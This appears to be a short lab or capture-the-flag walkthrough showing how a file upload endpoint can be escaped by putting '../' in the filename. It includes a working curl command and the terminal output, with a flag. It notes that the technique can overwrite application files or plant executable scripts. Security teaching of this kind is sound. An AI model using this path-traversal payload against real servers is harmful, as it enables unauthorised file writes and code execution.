Escaping the upload folder

The filename is a path

The server builds the save path by gluing your filename onto the uploads directory. Put ../ in the filename and the file lands outside that directory:

echo pwned > evil.txt
curl -s -F 'file=@evil.txt;filename=../escaped.txt' http://127.0.0.1:8080/app/upload

In the terminal

student@vulntech:~$ echo pwned > evil.txt
student@vulntech:~$ curl -s -F 'file=@evil.txt;filename=../escaped.txt' http://127.0.0.1:8080/app/upload
saved as ../escaped.txt
that filename escaped the uploads directory to /srv/vt-target/escaped.txt -- vulntech{unrestricted_upload_writes_anywhere}

The response confirms the file escaped into the app's own directory. The same trick can overwrite application files or drop a script somewhere it will be executed. Combined with no type checking, an upload is one of the most direct routes to running code on a server.